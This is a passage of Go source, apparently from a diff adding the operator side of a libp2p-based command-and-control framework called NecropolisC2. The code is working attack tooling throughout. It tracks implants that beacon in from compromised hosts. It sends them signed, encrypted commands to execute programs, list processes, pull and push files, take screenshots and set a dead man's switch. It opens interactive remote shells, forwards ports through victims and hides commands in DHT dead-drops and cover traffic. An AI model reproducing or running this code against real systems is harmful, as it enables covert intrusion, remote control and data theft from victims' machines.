if rec.Disconnected {
|
||||
continue
|
||||
}
|
||||
timeout := rec.Interval + rec.Jitter + 30*time.Second
|
||||
if now.Sub(rec.LastCheckin) > timeout {
|
||||
rec.Disconnected = true
|
||||
o.implants[id] = rec
|
||||
log.Printf("[operator] implant DISCONNECTED: %s@%s peer=%s (no beacon for %v)",
|
||||
rec.Name, rec.Hostname, id, now.Sub(rec.LastCheckin).Round(time.Second))
|
||||
}
|
||||
}
|
||||
o.mu.Unlock()
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// advertiseRelayLoop periodically advertises this node as a relay in the DHT.
|
||||
func (o *Operator) advertiseRelayLoop(ns string) {
|
||||
if !o.node.WaitForDHT(o.ctx) {
|
||||
return
|
||||
}
|
||||
for {
|
||||
if o.node.DHT == nil {
|
||||
return
|
||||
}
|
||||
if err := o.node.AdvertiseRelay(o.ctx, ns); err != nil {
|
||||
log.Printf("[operator] relay advertise: %v", err)
|
||||
}
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(60 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// discoverRelayPeersLoop finds relay peers in the DHT and connects to them.
|
||||
func (o *Operator) discoverRelayPeersLoop(ns string) {
|
||||
if !o.node.WaitForDHT(o.ctx) {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
peers, err := o.node.FindRelayPeers(o.ctx, ns, 32)
|
||||
if err != nil {
|
||||
log.Printf("[operator] find relay peers: %v", err)
|
||||
goto sleep
|
||||
}
|
||||
for _, pi := range peers {
|
||||
if pi.ID == o.node.ID() {
|
||||
continue
|
||||
}
|
||||
cs := o.node.Host.Network().Connectedness(pi.ID)
|
||||
if cs == network.Connected || cs == network.Limited {
|
||||
continue
|
||||
}
|
||||
connCtx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
|
||||
if err := o.node.ConnectToPeer(connCtx, pi); err == nil {
|
||||
log.Printf("[operator] connected to relay peer %s", pi.ID.String())
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
sleep:
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(60 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// handleMessage decrypts (if box keys exist) and dispatches an incoming envelope to the
|
||||
// correct result handler.
|
||||
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
|
||||
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
|
||||
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
|
||||
if err == nil {
|
||||
env.Data = decrypted
|
||||
}
|
||||
}
|
||||
|
||||
switch env.Type {
|
||||
case transport.MsgTypeRegister:
|
||||
o.handleBeaconRegister(env)
|
||||
case transport.MsgTypeCover:
|
||||
// cover traffic silently dropped
|
||||
case transport.MsgTypePs:
|
||||
o.handlePsResult(env)
|
||||
case transport.MsgTypeLs:
|
||||
o.handleLsResult(env)
|
||||
case transport.MsgTypeExecute:
|
||||
o.handleExecuteResult(env)
|
||||
case transport.MsgTypeCd:
|
||||
o.handleCdResult(env)
|
||||
case transport.MsgTypePwd:
|
||||
o.handlePwdResult(env)
|
||||
case transport.MsgTypeDownload:
|
||||
o.handleDownloadResult(env)
|
||||
case transport.MsgTypeUpload:
|
||||
o.handleUploadResult(env)
|
||||
case transport.MsgTypeScreenshot:
|
||||
o.handleScreenshotResult(env)
|
||||
case transport.MsgTypeKill:
|
||||
o.handleKillResult(env)
|
||||
default:
|
||||
log.Printf("[operator] received message type=%d", env.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// handleBeaconStream reads length-prefixed envelopes from a persistent beacon stream,
|
||||
// verifies signatures, and dispatches them through handleMessage.
|
||||
func (o *Operator) handleBeaconStream(s network.Stream) {
|
||||
defer s.Close()
|
||||
remotePeer := s.Conn().RemotePeer()
|
||||
for {
|
||||
var msgLen uint32
|
||||
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
|
||||
errStr := err.Error()
|
||||
if errStr != "EOF" && !strings.Contains(errStr, "reset") && !strings.Contains(errStr, "closed") {
|
||||
log.Printf("[operator] beacon stream read len: %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if msgLen > 1<<20 {
|
||||
log.Printf("[operator] beacon stream message too large: %d", msgLen)
|
||||
return
|
||||
}
|
||||
data := make([]byte, msgLen)
|
||||
if _, err := io.ReadFull(s, data); err != nil {
|
||||
log.Printf("[operator] beacon stream read data: %v", err)
|
||||
return
|
||||
}
|
||||
env := &apb.Envelope{}
|
||||
if err := proto.Unmarshal(data, env); err != nil {
|
||||
log.Printf("[operator] beacon stream unmarshal: %v", err)
|
||||
continue
|
||||
}
|
||||
var pubKey crypto.PubKey
|
||||
if len(env.SenderKey) > 0 {
|
||||
pubKey, _ = transport.PubKeyFromEnvelope(env)
|
||||
senderID, err := peer.IDFromPublicKey(pubKey)
|
||||
if err != nil || senderID != remotePeer {
|
||||
log.Printf("[operator] beacon stream sender mismatch")
|
||||
continue
|
||||
}
|
||||
}
|
||||
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
|
||||
log.Printf("[operator] beacon stream invalid signature: %v", err)
|
||||
continue
|
||||
}
|
||||
o.handleMessage(o.ctx, env, pubKey)
|
||||
}
|
||||
}
|
||||
|
||||
// handleBeaconRegister processes an implant registration beacon, updating or creating the
|
||||
// implant record and recording the implant's public key for signature verification.
|
||||
func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
|
||||
if o.messenger.IsReplay(env.ID) {
|
||||
log.Printf("[operator] dropped replay beacon id=%d", env.ID)
|
||||
return
|
||||
}
|
||||
|
||||
beaconReg := &apb.Z1{}
|
||||
if err := proto.Unmarshal(env.Data, beaconReg); err != nil {
|
||||
log.Printf("[operator] unmarshal beacon register: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
reg := beaconReg.Register
|
||||
if reg == nil {
|
||||
log.Printf("[operator] beacon register missing Register field")
|
||||
return
|
||||
}
|
||||
|
||||
pubKey, err := transport.PubKeyFromEnvelope(env)
|
||||
if err != nil {
|
||||
log.Printf("[operator] get sender key from envelope: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
peerID, err := peer.IDFromPublicKey(pubKey)
|
||||
if err != nil {
|
||||
log.Printf("[operator] peer id from sender key: %v", err)
|
||||
return
|
||||
}
|
||||
peerIDStr := peerID.String()
|
||||
|
||||
var boxPubKey *[32]byte
|
||||
if len(reg.BoxPubKey) == 32 {
|
||||
var key [32]byte
|
||||
copy(key[:], reg.BoxPubKey)
|
||||
boxPubKey = &key
|
||||
}
|
||||
|
||||
rec := &ImplantRecord{
|
||||
Name: reg.Name,
|
||||
Hostname: reg.Hostname,
|
||||
UUID: reg.UUID,
|
||||
Username: reg.Username,
|
||||
UID: reg.UID,
|
||||
GID: reg.GID,
|
||||
OS: reg.OS,
|
||||
Arch: reg.Arch,
|
||||
PID: reg.PID,
|
||||
PeerID: peerIDStr,
|
||||
Version: reg.Version,
|
||||
ActiveC2: reg.ActiveC2,
|
||||
Locale: reg.Locale,
|
||||
LastCheckin: time.Now(),
|
||||
Interval: time.Duration(beaconReg.Interval) * time.Second,
|
||||
Jitter: time.Duration(beaconReg.Jitter) * time.Second,
|
||||
PublicKey: pubKey,
|
||||
BoxPubKey: boxPubKey,
|
||||
}
|
||||
|
||||
o.mu.Lock()
|
||||
if existing, ok := o.implants[peerIDStr]; ok {
|
||||
existing.LastCheckin = time.Now()
|
||||
existing.Disconnected = false
|
||||
existing.Hostname = reg.Hostname
|
||||
existing.Username = reg.Username
|
||||
existing.OS = reg.OS
|
||||
existing.Arch = reg.Arch
|
||||
existing.IsRelay = true
|
||||
existing.BoxPubKey = boxPubKey
|
||||
} else {
|
||||
rec.IsRelay = true
|
||||
o.implants[peerIDStr] = rec
|
||||
log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s",
|
||||
reg.Name, reg.Hostname, reg.OS, reg.Arch, peerIDStr)
|
||||
}
|
||||
o.mu.Unlock()
|
||||
|
||||
o.messenger.AddKnownImplant(peerIDStr, pubKey)
|
||||
}
|
||||
|
||||
// ListImplants returns all registered implant records sorted by peer ID.
|
||||
func (o *Operator) ListImplants() []*ImplantRecord {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
|
||||
ids := make([]string, 0, len(o.implants))
|
||||
for id := range o.implants {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
|
||||
out := make([]*ImplantRecord, 0, len(o.implants))
|
||||
for _, id := range ids {
|
||||
out = append(out, o.implants[id])
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// GetImplant looks up a single implant record by peer ID.
|
||||
func (o *Operator) GetImplant(peerID string) *ImplantRecord {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.implants[peerID]
|
||||
}
|
||||
|
||||
// sendCommandToImplant packs a protobuf message into a signed envelope, opens a direct
|
||||
// command stream to the implant, and publishes the envelope as a DHT dead-drop.
|
||||
func (o *Operator) sendCommandToImplant(implantPeerID string, msgType uint32, msg proto.Message) error {
|
||||
o.cmdMu.Lock()
|
||||
if last, ok := o.lastCmdTime[implantPeerID]; ok {
|
||||
if time.Since(last) < 100*time.Millisecond {
|
||||
o.cmdMu.Unlock()
|
||||
return fmt.Errorf("rate limited — wait before sending another command")
|
||||
}
|
||||
}
|
||||
o.lastCmdTime[implantPeerID] = time.Now()
|
||||
o.cmdMu.Unlock()
|
||||
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(msg)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal: %w", err)
|
||||
}
|
||||
|
||||
env := o.messenger.CreateEnvelope(msgType, data)
|
||||
|
||||
rec := o.GetImplant(implantPeerID)
|
||||
if rec != nil && rec.BoxPubKey != nil {
|
||||
encrypted, err := cryptography.EncryptMessage(env.Data, rec.BoxPubKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encrypt command: %w", err)
|
||||
}
|
||||
env.Data = encrypted
|
||||
}
|
||||
|
||||
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
}
|
||||
|
||||
signingData, err := transport.EnvelopeSigningBytes(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("signing bytes: %w", err)
|
||||
}
|
||||
sig, err := o.keys.PrivateKey.Sign(signingData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
env.Signature = sig
|
||||
|
||||
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
ctx = network.WithAllowLimitedConn(ctx, "command")
|
||||
|
||||
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open command stream: %w", err)
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
envData, err := proto.Marshal(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal envelope: %w", err)
|
||||
}
|
||||
|
||||
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
||||
return fmt.Errorf("write len: %w", err)
|
||||
}
|
||||
if _, err := s.Write(envData); err != nil {
|
||||
return fmt.Errorf("write data: %w", err)
|
||||
}
|
||||
|
||||
// DHT dead-drop — implants unable to reach operator via direct stream or
|
||||
// relay can poll the DHT for signed command envelopes. Best-effort, no retry, no ACK.
|
||||
o.cmdNonce++
|
||||
dhtKey := transport.CommandDHTKey(o.keys.PeerID, o.cmdNonce)
|
||||
go func() {
|
||||
_ = o.node.PutDHTValue(o.ctx, dhtKey, envData) // best-effort, silent
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Ps sends a process listing command to the given implant.
|
||||
func (o *Operator) Ps(implantPeerID string) error {
|
||||
req := &apb.Z12{}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePs, req)
|
||||
}
|
||||
|
||||
// Ls sends a directory listing command to the given implant.
|
||||
func (o *Operator) Ls(implantPeerID string, path string) error {
|
||||
req := &apb.Z16{Path: path}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeLs, req)
|
||||
}
|
||||
|
||||
// Execute sends a command execution request to the given implant.
|
||||
func (o *Operator) Execute(implantPeerID string, cmd string, args []string) error {
|
||||
req := &apb.Z14{
|
||||
Path: cmd,
|
||||
Args: args,
|
||||
Output: true,
|
||||
}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeExecute, req)
|
||||
}
|
||||
|
||||
// DeadMan sends a dead man switch configuration to the implant — a command that fires
|
||||
// automatically if the implant loses contact with the operator.
|
||||
func (o *Operator) DeadMan(implantPeerID string, command string, timeoutSeconds int) error {
|
||||
payload := fmt.Sprintf(`{"command":"%s","timeout_seconds":%d}`, command, timeoutSeconds)
|
||||
env := o.messenger.CreateEnvelope(transport.MsgTypeDeadMan, []byte(payload))
|
||||
|
||||
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
}
|
||||
|
||||
signingData, err := transport.EnvelopeSigningBytes(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("signing bytes: %w", err)
|
||||
}
|
||||
sig, err := o.keys.PrivateKey.Sign(signingData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
env.Signature = sig
|
||||
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id: %w", err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open command stream: %w", err)
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
envData, err := proto.Marshal(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal envelope: %w", err)
|
||||
}
|
||||
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
||||
return fmt.Errorf("write len: %w", err)
|
||||
}
|
||||
_, err = s.Write(envData)
|
||||
return err
|
||||
}
|
||||
|
||||
// handlePsResult prints the process listing returned by an implant.
|
||||
func (o *Operator) handlePsResult(env *apb.Envelope) {
|
||||
result := &apb.Z13{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal ps result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "[ps] %d processes", len(result.Processes))
|
||||
for _, p := range result.Processes {
|
||||
o.resultf(env, " %s (PID: %d)", p.Name, p.Pid)
|
||||
}
|
||||
}
|
||||
|
||||
// handleLsResult prints a directory listing result from an implant.
|
||||
func (o *Operator) handleLsResult(env *apb.Envelope) {
|
||||
result := &apb.Z17{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal ls result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "[ls] %s: %d entries", result.Path, len(result.Files))
|
||||
}
|
||||
|
||||
// handleExecuteResult prints the stdout/stderr returned by an implant command execution.
|
||||
func (o *Operator) handleExecuteResult(env *apb.Envelope) {
|
||||
result := &apb.Z15{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal execute result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "[exec] status=%d stdout=%d stderr=%d", result.Status, len(result.Stdout), len(result.Stderr))
|
||||
if len(result.Stdout) > 0 {
|
||||
o.resultf(env, string(result.Stdout))
|
||||
}
|
||||
if len(result.Stderr) > 0 {
|
||||
o.resultf(env, string(result.Stderr))
|
||||
}
|
||||
}
|
||||
|
||||
// handleCdResult prints the result of a change-directory command on an implant.
|
||||
func (o *Operator) handleCdResult(env *apb.Envelope) {
|
||||
result := &apb.Z21{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal cd result: %v", err)
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "cd error: %s", result.Response.ErrMsg)
|
||||
} else {
|
||||
o.resultf(env, "cd: %s", result.Path)
|
||||
}
|
||||
}
|
||||
|
||||
// handlePwdResult prints the current working directory returned by an implant.
|
||||
func (o *Operator) handlePwdResult(env *apb.Envelope) {
|
||||
result := &apb.Z21{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal pwd result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "%s", result.Path)
|
||||
}
|
||||
|
||||
// handleScreenshotResult prints the screenshot byte count or error from an implant.
|
||||
func (o *Operator) handleScreenshotResult(env *apb.Envelope) {
|
||||
result := &apb.Z3{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal screenshot result: %v", err)
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "screenshot error: %s", result.Response.ErrMsg)
|
||||
} else {
|
||||
o.resultf(env, "screenshot: %d bytes", len(result.Data))
|
||||
}
|
||||
}
|
||||
|
||||
// handleDownloadResult writes a file downloaded from an implant to the local filesystem.
|
||||
func (o *Operator) handleDownloadResult(env *apb.Envelope) {
|
||||
result := &apb.Z23{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal download result: %v", err)
|
||||
return
|
||||
}
|
||||
if !result.Exists {
|
||||
o.resultf(env, "download: file does not exist")
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "download error: %s", result.Response.ErrMsg)
|
||||
return
|
||||
}
|
||||
path := result.Path
|
||||
if path == "" {
|
||||
path = "downloaded"
|
||||
}
|
||||
safePath := filepath.Join("downloads", filepath.Base(path))
|
||||
if err := os.MkdirAll(filepath.Dir(safePath), 0755); err != nil {
|
||||
o.resultf(env, "download: mkdir %s: %v", safePath, err)
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(safePath, result.Data, 0644); err != nil {
|
||||
o.resultf(env, "download: write %s: %v", safePath, err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "downloaded %s (%d bytes)", safePath, len(result.Data))
|
||||
}
|
||||
|
||||
// handleUploadResult prints the result of a file upload to an implant.
|
||||
func (o *Operator) handleUploadResult(env *apb.Envelope) {
|
||||
result := &apb.Z25{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal upload result: %v", err)
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "upload error: %s", result.Response.ErrMsg)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "uploaded %d bytes to %s", result.BytesWritten, result.Path)
|
||||
}
|
||||
|
||||
// handleKillResult confirms that an implant received and acted on the kill command.
|
||||
func (o *Operator) handleKillResult(env *apb.Envelope) {
|
||||
o.resultf(env, "[kill] implant exited")
|
||||
}
|
||||
|
||||
// Cd changes the working directory on the selected implant.
|
||||
func (o *Operator) Cd(implantPeerID string, path string) error {
|
||||
req := &apb.Z19{Path: path}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeCd, req)
|
||||
}
|
||||
|
||||
// Pwd prints the working directory on the selected implant.
|
||||
func (o *Operator) Pwd(implantPeerID string) error {
|
||||
req := &apb.Z20{}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePwd, req)
|
||||
}
|
||||
|
||||
// Kill sends the terminate command to the selected implant.
|
||||
func (o *Operator) Kill(implantPeerID string) error {
|
||||
req := &apb.Z20{}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeKill, req)
|
||||
}
|
||||
|
||||
// Download requests a file from the implant at the given path.
|
||||
func (o *Operator) Download(implantPeerID string, path string) error {
|
||||
req := &apb.Z22{Path: path}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeDownload, req)
|
||||
}
|
||||
|
||||
// Upload sends a file to the implant at the given path, overwriting if it exists.
|
||||
func (o *Operator) Upload(implantPeerID string, path string, data []byte) error {
|
||||
req := &apb.Z24{
|
||||
Path: path,
|
||||
Data: data,
|
||||
Overwrite: true,
|
||||
}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req)
|
||||
}
|
||||
|
||||
// UploadFile reads a local file (≤100MB) and uploads it to the implant.
|
||||
func (o *Operator) UploadFile(implantPeerID string, localPath string, remotePath string) error {
|
||||
fi, err := os.Stat(localPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("stat %s: %w", localPath, err)
|
||||
}
|
||||
if fi.Size() > 100<<20 {
|
||||
return fmt.Errorf("file too large: %d bytes (max 100MB)", fi.Size())
|
||||
}
|
||||
data, err := os.ReadFile(localPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read %s: %w", localPath, err)
|
||||
}
|
||||
return o.Upload(implantPeerID, remotePath, data)
|
||||
}
|
||||
|
||||
type shellEscaper struct {
|
||||
r io.Reader
|
||||
escaped bool
|
||||
}
|
||||
|
||||
func (e *shellEscaper) Read(p []byte) (int, error) {
|
||||
if e.escaped {
|
||||
return 0, fmt.Errorf("shell escape")
|
||||
}
|
||||
n, err := e.r.Read(p)
|
||||
if n > 0 {
|
||||
for i := 0; i < n; i++ {
|
||||
if p[i] == 0x1d { // Ctrl+]
|
||||
e.escaped = true
|
||||
return 0, fmt.Errorf("shell escape")
|
||||
}
|
||||
}
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
// OpenShell opens an interactive shell on the implant over a libp2p stream. Terminal
|
||||
// is put in raw mode and stdin/stdout are proxied bidirectionally. Press Ctrl+] to exit.
|
||||
func (o *Operator) OpenShell(implantPeerID string) error {
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
|
||||
defer cancel()
|
||||
ctx = network.WithAllowLimitedConn(ctx, "shell")
|
||||
|
||||
s, err := o.node.NewStream(ctx, pid, transport.ShellProtocolID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err)
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
rows, cols, err := term.GetSize(int(os.Stdin.Fd()))
|
||||
if err != nil {
|
||||
rows, cols = 30, 120
|
||||
}
|
||||
if err := binary.Write(s, binary.LittleEndian, uint16(rows)); err != nil {
|
||||
return fmt.Errorf("send rows: %w", err)
|
||||
}
|
||||
if err := binary.Write(s, binary.LittleEndian, uint16(cols)); err != nil {
|
||||
return fmt.Errorf("send cols: %w", err)
|
||||
}
|
||||
|
||||
oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
|
||||
if err != nil {
|
||||
return fmt.Errorf("raw terminal: %w", err)
|
||||
}
|
||||
defer term.Restore(int(os.Stdin.Fd()), oldState)
|
||||
|
||||
errCh := make(chan error, 2)
|
||||
|
||||
go func() {
|
||||
_, err := io.Copy(s, &shellEscaper{r: os.Stdin})
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, err := io.Copy(os.Stdout, s)
|
||||
errCh <- err
|
||||
}()
|
||||
|
||||
<-errCh
|
||||
fmt.Println() // newline after shell exits
|
||||
return nil
|
||||
}
|
||||
|
||||
// Portfwd listens on a local TCP port and tunnels connections through the implant to the
|
||||
// specified target address.
|
||||
func (o *Operator) Portfwd(implantPeerID string, localPort int, target string) error {
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
|
||||
if err != nil {
|
||||
return fmt.Errorf("listen 127.0.0.1:%d: %w", localPort, err)
|
||||
}
|
||||
defer listener.Close()
|
||||
|
||||
log.Printf("[operator] portfwd: forwarding 127.0.0.1:%d -> %s via %s", localPort, target, implantPeerID)
|
||||
|
||||
for {
|
||||
localConn, err := listener.Accept()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer localConn.Close()
|
||||
|
||||
pctx, pcancel := context.WithTimeout(o.ctx, 15*time.Second)
|
||||
defer pcancel()
|
||||
pctx = network.WithAllowLimitedConn(pctx, "portfwd")
|
||||
|
||||
s, err := o.node.NewStream(pctx, pid, transport.PortfwdProtocolID)
|
||||
if err != nil {
|
||||
log.Printf("[operator] portfwd stream: %v", err)
|
||||
return
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
|
||||
log.Printf("[operator] portfwd send target: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
go io.Copy(s, localConn)
|
||||
io.Copy(localConn, s)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// Close cancels the operator context and shuts down the node.
|
||||
func (o *Operator) Close() error {
|
||||
o.cancel()
|
||||
return o.node.Close()
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
|
||||
)
|
||||
|
||||
// colorLogWriter wraps a writer and colorizes known log prefixes.
|
||||
type colorLogWriter struct{ w io.Writer }
|
||||
|
||||
func (c *colorLogWriter) Write(p []byte) (int, error) {
|
||||
s := string(p)
|
||||
switch {
|
||||
case strings.Contains(s, "[operator] "):
|
||||
s = strings.Replace(s, "[operator] ", boldCyan("[operator] "), 1)
|
||||
case strings.Contains(s, "[implant] "):
|
||||
s = strings.Replace(s, "[implant] ", boldGreen("[implant] "), 1)
|
||||
case strings.Contains(s, "[evasion] "):
|
||||
s = strings.Replace(s, "[evasion] ", magentaBold("[evasion] "), 1)
|
||||
case strings.Contains(s, "[socks] "):
|
||||
s = strings.Replace(s, "[socks] ", dimYellow("[socks] "), 1)
|
||||
case strings.Contains(s, "[node] "):
|
||||
s = strings.Replace(s, "[node] ", dim+"[node]"+reset+" ", 1)
|
||||
case strings.Contains(s, "[WARN] "):
|
||||
s = strings.Replace(s, "[WARN]", boldRed("[WARN]"), 1)
|
||||
case strings.Contains(s, "DISCONNECTED"):
|
||||
s = strings.Replace(s, "DISCONNECTED", boldRed("DISCONNECTED"), 1)
|
||||
}
|
||||
return c.w.Write([]byte(s))
|
||||
}
|
||||
|
||||
func Run(relayAddrs []string) error {
|
||||
log.SetOutput(&colorLogWriter{w: os.Stderr})
|
||||
if err := os.MkdirAll(necropolisDir(), 0700); err != nil {
|
||||
return fmt.Errorf("create necropolis directory: %w", err)
|
||||
}
|
||||
|
||||
keys, err := cryptography.LoadOrGenerateOperatorKey(keyPath())
|
||||
if err != nil {
|
||||
return fmt.Errorf("load operator key: %w", err)
|
||||
}
|
||||
|
||||
pubPath := pubKeyPath()
|
||||
if _, err := os.Stat(pubPath); os.IsNotExist(err) {
|
||||
pubBytes, err := crypto.MarshalPublicKey(keys.PublicKey)
|
||||
if err == nil {
|
||||
if err := os.WriteFile(pubPath, pubBytes, 0644); err == nil {
|
||||
log.Printf("[operator] public key exported: %s", pubPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[operator] peer ID: %s", keys.PeerID.String())
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
op, err := NewOperator(ctx, keys, relayAddrs)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create operator: %w", err)
|
||||
}
|
||||
defer op.Close()
|
||||
|
||||
if err := op.Start(); err != nil {
|
||||
return fmt.Errorf("start operator: %w", err)
|
||||
}
|
||||
|
||||
op.RunCLI()
|
||||
return nil
|
||||
}
|
||||
|
||||
func necropolisDir() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return ".necropolis"
|
||||
}
|
||||
return filepath.Join(home, ".necropolis")
|
||||
}
|
||||
|
||||
func keyPath() string {
|
||||
return filepath.Join(necropolisDir(), "operator.key")
|
||||
}
|
||||
|
||||
func pubKeyPath() string {
|
||||
return filepath.Join(necropolisDir(), "operator.pub")
|
||||
}
|
||||
@@ -0,0 +1,374 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
"golang.org/x/crypto/bcrypt"
|
||||
|
||||
"github.com/Yenn503/NecropolisC2/pkg/transport"
|
||||
)
|
||||
|
||||
type SocksInstance struct {
|
||||
Port int
|
||||
ImplantID string
|
||||
Username string
|
||||
Listener net.Listener
|
||||
